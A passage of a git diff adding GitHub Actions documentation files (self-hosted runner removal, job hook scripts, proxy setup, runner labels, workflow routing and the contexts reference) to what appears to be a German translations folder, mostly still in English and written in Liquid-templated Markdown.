+{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %}
+{% elsif ghes < 3.4 or ghae %}
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-runners %}
+{% data reusables.actions.self-hosted-runner-removing-a-runner %}
+{% endif %}
+
+## Removing a runner from an enterprise
+
+{% ifversion fpt %}
+If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
+{% endif %}
+{% ifversion ghec or ghes or ghae %}
+{% note %}
+
+**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %}
+
+{% data reusables.actions.self-hosted-runner-auto-removal %}
+
+{% endnote %}
+
+To remove a self-hosted runner from an enterprise, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runners).
+
+{% data reusables.actions.self-hosted-runner-reusing %}
+{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.enterprise-accounts.actions-runners-tab %}
+{% data reusables.actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %}
+{% elsif ghae or ghes < 3.4 %}
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.enterprise-accounts.actions-runners-tab %}
+{% data reusables.actions.self-hosted-runner-removing-a-runner %}
+{% endif %}
+{% endif %}
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md b/translations/de-DE/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md
new file mode 100644
index 0000000000..ec7997a3c2
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md
@@ -0,0 +1,76 @@
+---
+title: Running scripts before or after a job
+intro: 'Scripts can automatically execute on a self-hosted runner, directly before or after a job.'
+versions:
+  feature: job-hooks-for-runners
+type: tutorial
+miniTocMaxHeadingLevel: 3
+shortTitle: Run a script before or after a job
+---
+
+{% note %}
+
+**Note**: This feature is currently in beta and is subject to change.
+
+{% endnote %}
+
+## About pre- and post-job scripts
+
+You can automatically execute scripts on a self-hosted runner, either before a job runs, or after a job finishes running. You could use these scripts to support the job's requirements, such as building or tearing down a runner environment, or cleaning out directories. You could also use these scripts to track telemetry of how your runners are used.
+
+The custom scripts are automatically triggered when a specific environment variable is set on the runner; the environment variable must contain the absolute path to the script. For more information, see "[Triggering the scripts](#triggering-the-scripts)" below.
+
+The following scripting languages are supported:
+
+- **Bash**: Uses `bash` and can fallback to `sh`. Executes by running `-e {pathtofile}`.
+- **PowerShell**: Uses `pwsh` and can fallback to `powershell`. Executes by running `-command \". '{pathtofile}'\"`.
+
+## Writing the scripts
+
+Your custom scripts can use the following features:
+
+- **Environment variables**:  Scripts have access to the default environment variables. The full webhook event payload can be found in `GITHUB_EVENT_PATH`. For more information, see "[Environment variables](/actions/learn-github-actions/environment-variables#default-environment-variables)."
+- **Workflow commands**: Scripts can use workflow commands. For more information, see ["Workflow commands for {% data variables.product.prodname_actions %}"](/actions/using-workflows/workflow-commands-for-github-actions){% ifversion actions-save-state-set-output-envs %}{% else %}, with the exception of `save-state` and `set-output`, which are not supported by these scripts{% endif %}. Scripts can also use environment files. For more information, see [Environment files](/actions/using-workflows/workflow-commands-for-github-actions#environment-files).
+
+{% note %}
+
+**Note**: Avoid using your scripts to output sensitive information to the console, as anyone with read access to the repository might be able to see the output in the UI logs.
+
+{% endnote %}
+
+### Handling exit codes
+
+For pre-job scripts, exit code `0` indicates that the script completed successfully, and the job will then proceed to run. If there is any other exit code, the job will not run and will be marked as failed. To see the results of your pre-job scripts, check the logs for `Set up runner` entries. For more information on checking the logs, see "[Viewing logs to diagnose failures](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)."
+
+The [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) setting is not supported for use by these scripts.
+
+## Triggering the scripts
+
+The custom scripts must be located on the runner, but should not be stored in the `actions-runner` application directory. The scripts are executed in the security context of the service account that's running the runner service.
+
+{% note %}
+
+**Note**: The triggered scripts are processed synchronously, so they will block job execution while they are running.
+
+{% endnote %}
+
+The scripts are automatically executed when the runner has the following environment variables containing an absolute path to the script:
+- `ACTIONS_RUNNER_HOOK_JOB_STARTED`: The script defined in this environment variable is triggered when a job has been assigned to a runner, but before the job starts running.
+- `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`: The script defined in this environment variable is triggered after the job has finished processing.
+
+To set these environment variables, you can either add them to the operating system, or add them to a file named `.env` within the self-hosted runner application directory. For example, the following `.env` entry will have the runner automatically run a script named `cleanup_script.sh` before each job runs:
+
+```bash
+ACTIONS_RUNNER_HOOK_JOB_STARTED=/cleanup_script.sh
+```
+
+## Troubleshooting
+
+
+### No timeout setting
+
+There is currently no timeout setting available for scripts executed by `ACTIONS_RUNNER_HOOK_JOB_STARTED` or `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`. As a result, you could consider adding timeout handling to your script.
+
+### Reviewing the workflow run log
+
+To confirm whether your scripts are executing, you can review the logs for that job. The scripts will be listed within separate steps for either `Set up runner` or `Complete runner`, depending on which environment variable is triggering the script. For more information on checking the logs, see "[Viewing logs to diagnose failures](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)."
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/de-DE/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
new file mode 100644
index 0000000000..870350c27e
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
@@ -0,0 +1,59 @@
+---
+title: Verwenden eines Proxyservers mit selbstgehosteten Runnern
+intro: 'Du kannst selbst gehostete Runner so konfigurieren, dass sie einen Proxy-Server verwenden, um mit {% data variables.product.product_name %} zu kommunizieren.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+shortTitle: Proxy servers
+ms.openlocfilehash: e6c9d36b052627726f73f6a07d989a192cd1e738
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090438'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einen Proxyserver mithilfe von Umgebungsvariablen konfigurieren
+
+Wenn Dein selbst-gehosteten Runner über einen Proxy-Server kommunizieren soll, verwendet die Anwendung für selbst-gehostete Runner die Proxy-Konfigurationen in den folgenden Umgebungsvariablen:
+
+* `https_proxy`: Proxy-URL für HTTPS-Datenverkehr. Du kannst bei Bedarf auch Anmeldeinformationen zur einfachen Authentifizierung angeben. Beispiel:
+  * `http://proxy.local`
+  * `http://192.168.1.1:8080`
+  * `http://username:password@proxy.local`
+* `http_proxy`: Proxy-URL für HTTPS-Datenverkehr. Du kannst bei Bedarf auch Anmeldeinformationen zur einfachen Authentifizierung angeben. Beispiel:
+  * `http://proxy.local`
+  * `http://192.168.1.1:8080`
+  * `http://username:password@proxy.local`
+* `no_proxy`: Durch Kommas getrennte Liste von Hosts, die keinen Proxy verwenden sollten. Nur Hostnamen sind in `no_proxy` zulässig, du kannst keine IP-Adressen verwenden. Beispiel:
+  * `example.com`
+  * `example.com,myserver.local:443,example.org`
+
+Die Proxy-Umgebungsvariablen werden beim Starten der Anwendung für selbst-gehostete Runner gelesen. Daher musst Du die Umgebungsvariablen festlegen, bevor Du die Anwendung für selbst-gehostete Runner konfigurierst oder startest. Wenn sich deine Proxykonfiguration ändert, musst du die selbstgehostete Runneranwendung neu starten.
+
+Auf Windows-Rechnern wird bei den Namen der Proxy-Umgebungsvariablen nicht zwischen Groß- und Kleinschreibung unterschieden. Auf Linux- und macOS-Rechnern wird empfohlen, alle Umgebungsvariablen in Kleinbuchstaben zu schreiben. Wenn eine Umgebungsvariable sowohl in Kleinbuchstaben als auch in Großbuchstaben unter Linux oder macOS vorhanden ist (z. B. `https_proxy` und `HTTPS_PROXY`), verwendet die selbstgehostete Runneranwendung die Umgebungsvariable in Kleinbuchstaben.
+
+{% data reusables.actions.self-hosted-runner-ports-protocols %}
+
+## Eine .env-Datei zur Proxykonfiguration verwenden
+
+Wenn es nicht praktikabel ist, Umgebungsvariablen festzulegen, kannst du die Proxykonfigurationsvariablen in eine Datei mit dem Namen _.env_ schreiben, die im Verzeichnis der Anwendung für selbstgehostete Runner gespeichert wird. Dies kann z. B. erforderlich sein, wenn Du die Runner-Anwendung als Dienst unter einem Systemkonto konfigurieren möchtest. Wenn die Runneranwendung gestartet wird, liest sie die Variablen für die Proxykonfiguration aus _.env_.
+
+Eine Beispielproxykonfiguration für _.env_ wird unten gezeigt:
+
+```ini
+https_proxy=http://proxy.local:8080
+no_proxy=example.com,myserver.local:443
+```
+
+## Festlegen der Proxy-Konfiguration für Docker-Container
+
+Wenn Du Docker-Container-Aktionen oder Service-Container in Deinen Workflows verwendest, musst Du möglicherweise zusätzlich zur Einstellung der oben genannten Umgebungsvariablen auch Docker so konfigurieren, dass er Deinen Proxy-Server verwendet.
+
+Informationen zur erforderlichen Docker-Konfiguration findest du in der Docker-Dokumentation unter [Konfigurieren von Docker zum Verwenden eines Proxyservers](https://docs.docker.com/network/proxy/).
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md b/translations/de-DE/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
new file mode 100644
index 0000000000..d1bfec7c63
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
@@ -0,0 +1,100 @@
+---
+title: Using labels with self-hosted runners
+intro: You can use labels to organize your self-hosted runners based on their characteristics.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+shortTitle: Label runners
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)." {% ifversion target-runner-groups %}You can also route jobs to runners in a specific group. For more information, see "[Targeting runners in a group](/actions/using-jobs/choosing-the-runner-for-a-job#targeting-runners-in-a-group)."{% endif %}
+
+{% data reusables.actions.self-hosted-runner-management-permissions-required %}
+
+## Creating a custom label
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+ {% data reusables.actions.settings-sidebar-actions-runner-selection %}
+ 1. In the "Labels" section, click {% octicon "gear" aria-label="The Gear icon" %}.
+ 1. In the "Find or create a label" field, type the name of your new label and click **Create new label**.
+ The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.actions.actions-unused-labels %}
+{% elsif ghae or ghes < 3.4 %}
+{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.self-hosted-runner-list %}
+{% data reusables.actions.self-hosted-runner-list-group %}
+{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
+1. In the "Filter labels" field, type the name of your new label, and click **Create new label**.
+    ![Add runner label](/assets/images/help/settings/actions-add-runner-label.png)
+    
+The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.actions.actions-unused-labels %}
+{% endif %}
+
+## Assigning a label to a self-hosted runner
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.actions.runner-label-settings %}
+  1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label. 
+{% elsif ghae or ghes < 3.4 %}
+{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.self-hosted-runner-list %}
+{% data reusables.actions.self-hosted-runner-list-group %}
+{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
+1. Click on a label to assign it to your self-hosted runner. 
+{% endif %}
+
+## Removing a custom label from a self-hosted runner
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.actions.runner-label-settings %}
+  1. In the "Find or create a label" field, assigned labels are marked with the {% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner. 
+{% elsif ghae or ghes < 3.4 %}
+{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.self-hosted-runner-list %}
+{% data reusables.actions.self-hosted-runner-list-group %}
+{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
+1. Click on the assigned label to remove it from your self-hosted runner. {% data reusables.actions.actions-unused-labels %}
+{% endif %}
+
+## Programmatically assign labels
+
+You can programmatically assign labels to a self-hosted runner after the runner is created, or during its initial configuration.
+
+* To programmatically assign labels to an existing self-hosted runner, you must use the REST API. For more information, see the "[Self-hosted runners](/rest/actions/self-hosted-runners)" REST API.
+* To programmatically assign labels to a self-hosted runner during the initial runner configuration, you can pass label names to the `config` script using the `labels` parameter.
+
+  {% note %}
+  
+  **Note:** You cannot use the `config` script to assign labels to an existing self-hosted runner.
+  
+  {% endnote %}
+
+  For example, this command assigns a label named `gpu` when configuring a new self-hosted runner:
+
+  ```
+  ./config.sh --url <REPOSITORY_URL> --token <REGISTRATION_TOKEN> --labels gpu
+  ```
+
+  The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture.
+
+  You can use comma separation to assign multiple labels. For example:
+
+  ```
+  ./config.sh --url <REPOSITORY_URL> --token <REGISTRATION_TOKEN> --labels gpu,x64,linux
+  ```
+
+  {% note %}
+
+  ** Note:** If you replace an existing runner, then you must reassign any custom labels.
+
+  {% endnote %}
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md b/translations/de-DE/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
new file mode 100644
index 0000000000..2bfb341c9e
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
@@ -0,0 +1,90 @@
+---
+title: Using self-hosted runners in a workflow
+intro: 'To use self-hosted runners in a workflow, you can use labels to specify the runner type for a job.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
+  - /actions/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+shortTitle: Use runners in a workflow
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+For information on creating custom and default labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
+
+## Using self-hosted runners in a workflow
+
+Labels allow you to send workflow jobs to specific types of self-hosted runners, based on their shared characteristics. For example, if your job requires a particular hardware component or software package, you can assign a custom label to a runner and then configure your job to only execute on runners with that label.
+
+{% data reusables.actions.self-hosted-runner-labels-runs-on %}
+
+For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
+
+## Using default labels to route jobs
+
+A self-hosted runner automatically receives certain labels when it is added to {% data variables.product.prodname_actions %}. These are used to indicate its operating system and hardware platform:
+
+* `self-hosted`: Default label applied to all self-hosted runners.
+* `linux`, `windows`, or `macOS`: Applied depending on operating system.
+* `x64`, `ARM`, or `ARM64`: Applied depending on hardware architecture.
+
+You can use your workflow's YAML to send jobs to a combination of these labels. In this example, a self-hosted runner that matches all three labels will be eligible to run the job:
+
+```yaml
+runs-on: [self-hosted, linux, ARM64]
+```
+
+- `self-hosted` - Run this job on a self-hosted runner.
+- `linux` - Only use a Linux-based runner.
+- `ARM64` - Only use a runner based on ARM64 hardware.
+
+The default labels are fixed and cannot be changed or removed. Consider using custom labels if you need more control over job routing.
+
+## Using custom labels to route jobs
+
+You can create custom labels and assign them to your self-hosted runners at any time. Custom labels let you send jobs to particular types of self-hosted runners, based on how they're labeled. 
+
+For example, if you have a job that requires a specific type of graphics hardware, you can create a custom label called `gpu` and assign it to the runners that have the hardware installed. A self-hosted runner that matches all the assigned labels will then be eligible to run the job. 
+
+This example shows a job that combines default and custom labels:
+
+```yaml
+runs-on: [self-hosted, linux, x64, gpu]
+```
+
+- `self-hosted` - Run this job on a self-hosted runner.
+- `linux` - Only use a Linux-based runner.
+- `x64` - Only use a runner based on x64 hardware.
+- `gpu` - This custom label has been manually assigned to self-hosted runners with the GPU hardware installed. 
+
+These labels operate cumulatively, so a self-hosted runner must have all four labels to be eligible to process the job.
+
+## Routing precedence for self-hosted runners
+
+When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels:
+
+{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
+- If {% data variables.product.prodname_dotcom %} finds an online and idle runner that matches the job's `runs-on` labels, the job is then assigned and sent to the runner.
+  - If the runner doesn't pick up the assigned job within 60 seconds, the job is re-queued so that a new runner can accept it.
+- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner that matches the job's `runs-on` labels, then the job will remain queued until a runner comes online.
+- If the job remains queued for more than 24 hours, the job will fail.
+{% elsif ghes = 3.3 %}
+- {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level.
+- If {% data variables.product.prodname_dotcom %} finds an online and idle runner at a certain level that matches the job's `runs-on` labels, the job is then assigned and sent to the runner.
+  - If the runner doesn't pick up the assigned job within 60 seconds, the job is queued at all levels and waits for a matching runner from any level to come online and pick up the job.
+- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner at any level, the job is queued to all levels and waits for a matching runner from any level to come online and pick up the job.
+- If the job remains queued for more than 24 hours, the job will fail.
+{% else %}
+1. {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level.
+2. The job is then sent to the first matching runner that is online and idle.
+   - If all matching online runners are busy, the job will queue at the level with the highest number of matching online runners.
+   - If all matching runners are offline, the job will queue at the level with the highest number of matching offline runners.
+   - If there are no matching runners at any level, the job will fail.
+   - If the job remains queued for more than 24 hours, the job will fail.
+{% endif %}
diff --git a/translations/de-DE/content/actions/index.md b/translations/de-DE/content/actions/index.md
new file mode 100644
index 0000000000..49ee0b6664
--- /dev/null
+++ b/translations/de-DE/content/actions/index.md
@@ -0,0 +1,70 @@
+---
+title: Dokumentation zu GitHub Actions
+shortTitle: GitHub Actions
+intro: 'Mit {% data variables.product.prodname_actions %} kannst du deine Softwareentwicklungs-Workflows direkt in Ihrem Repository automatisieren, anpassen und ausführen. Du kannst Actions entdecken, erstellen und weitergeben, um beliebige Aufträge (einschließlich CI/CD) auszuführen. Du kannst auch Actions in einem vollständig angepassten Workflow kombinieren.'
+introLinks:
+  overview: /actions/learn-github-actions/understanding-github-actions
+  quickstart: /actions/quickstart
+featuredLinks:
+  guides:
+    - /actions/learn-github-actions
+    - /actions/examples
+    - /actions/guides/about-continuous-integration
+    - /actions/deployment/deploying-with-github-actions
+    - /actions/guides/about-packaging-with-github-actions
+    - /actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting
+  guideCards:
+    - /actions/learn-github-actions/using-starter-workflows
+    - /actions/guides/publishing-nodejs-packages
+    - /actions/guides/building-and-testing-powershell
+  popular:
+    - /actions/learn-github-actions/workflow-syntax-for-github-actions
+    - /actions/learn-github-actions
+    - /actions/examples
+    - /actions/learn-github-actions/events-that-trigger-workflows
+    - /actions/learn-github-actions/contexts
+    - /actions/learn-github-actions/expressions
+    - /actions/learn-github-actions/environment-variables
+    - /actions/security-guides/encrypted-secrets
+product_video: 'https://www.youtube-nocookie.com/embed/cP0I9w2coGU'
+redirect_from:
+  - /articles/automating-your-workflow-with-github-actions
+  - /articles/customizing-your-project-with-github-actions
+  - /github/automating-your-workflow-with-github-actions
+  - /actions/automating-your-workflow-with-github-actions
+  - /categories/automating-your-workflow-with-github-actions
+  - /marketplace/actions
+  - /actions/reference
+layout: product-landing
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /quickstart
+  - /learn-github-actions
+  - /examples
+  - /using-workflows
+  - /using-jobs
+  - /managing-workflow-runs
+  - /automating-builds-and-tests
+  - /deployment
+  - /using-containerized-services
+  - /publishing-packages
+  - /managing-issues-and-pull-requests
+  - /migrating-to-github-actions
+  - /monitoring-and-troubleshooting-workflows
+  - /using-github-hosted-runners
+  - /hosting-your-own-runners
+  - /security-guides
+  - /creating-actions
+  - /guides
+ms.openlocfilehash: 4001c855ac5f80d36f93746693a247cdd15a1f60
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880653'
+---
+
diff --git a/translations/de-DE/content/actions/learn-github-actions/contexts.md b/translations/de-DE/content/actions/learn-github-actions/contexts.md
new file mode 100644
index 0000000000..bdf5bb0bfb
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/contexts.md
@@ -0,0 +1,894 @@
+---
+title: Contexts
+shortTitle: Contexts
+intro: You can access context information in workflows and actions.
+redirect_from:
+  - /articles/contexts-and-expression-syntax-for-github-actions
+  - /github/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions
+  - /actions/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions
+  - /actions/reference/contexts-and-expression-syntax-for-github-actions
+  - /actions/reference/context-and-expression-syntax-for-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About contexts
+
+Contexts are a way to access information about workflow runs, runner environments, jobs, and steps. Each context is an object that contains properties, which can be strings or other objects.
+
+{% data reusables.actions.context-contents %} For example, the `matrix` context is only populated for jobs in a [matrix](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix).
+
+You can access contexts using the expression syntax. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+
+{% raw %}
+`${{ <context> }}`
+{% endraw %}
+
+{% data reusables.actions.context-injection-warning %}
+
+| Context name | Type | Description |
+|---------------|------|-------------|
+| `github` | `object` | Information about the workflow run. For more information, see [`github` context](#github-context). |
+| `env` | `object` | Contains environment variables set in a workflow, job, or step. For more information, see [`env` context](#env-context). |
+| `job` | `object` | Information about the currently running job. For more information, see [`job` context](#job-context). |
+{%- ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+| `jobs` | `object` | For reusable workflows only, contains outputs of jobs from the reusable workflow. For more information, see [`jobs` context](#jobs-context). |{% endif %}
+| `steps` | `object` | Information about the steps that have been run in the current job. For more information, see [`steps` context](#steps-context). |
+| `runner` | `object` | Information about the runner that is running the current job. For more information, see [`runner` context](#runner-context). |
+| `secrets` | `object` | Contains the names and values of secrets that are available to a workflow run. For more information, see [`secrets` context](#secrets-context). |
+| `strategy` | `object` | Information about the matrix execution strategy for the current job. For more information, see [`strategy` context](#strategy-context). |
+| `matrix` | `object` | Contains the matrix properties defined in the workflow that apply to the current job. For more information, see [`matrix` context](#matrix-context). |
+| `needs` | `object` | Contains the outputs of all jobs that are defined as a dependency of the current job. For more information, see [`needs` context](#needs-context). |
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+| `inputs` | `object` | Contains the inputs of a reusable {% ifversion actions-unified-inputs %}or manually triggered {% endif %}workflow. For more information, see [`inputs` context](#inputs-context). |{% endif %}
+
+As part of an expression, you can access context information using one of two syntaxes.
+
+- Index syntax: `github['sha']`
+- Property dereference syntax: `github.sha`
+
+In order to use property dereference syntax, the property name must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+
+If you attempt to dereference a non-existent property, it will evaluate to an empty string.
+
+### Determining when to use contexts
+
+{% data reusables.actions.using-context-or-environment-variables %}
+
+### Context availability
+
+Different contexts are available throughout a workflow run. For example, the `secrets` context may only be used at certain places within a job.
+
+In addition, some functions may only be used in certain places. For example, the `hashFiles` function is not available everywhere.
+
+The following table indicates where each context and special function can be used within a workflow. Unless listed below, a function can be used anywhere.
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+
+| Workflow key | Context | Special functions |
+| ---- | ------- | ----------------- |
+{%- ifversion actions-run-name %}
+| <code>run-name</code> | <code>github, inputs</code> | |
+{%- endif %}
+| <code>concurrency</code> | <code>github, inputs</code> | |
+| <code>env</code> | <code>github, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs, inputs</code> | <code>always, cancelled, success, failure</code> |
+| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs,{% ifversion actions-reusable-workflow-matrix %} strategy, matrix,{% endif %} secrets{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | <code>always, cancelled, success, failure, hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.name</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.run</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> | |
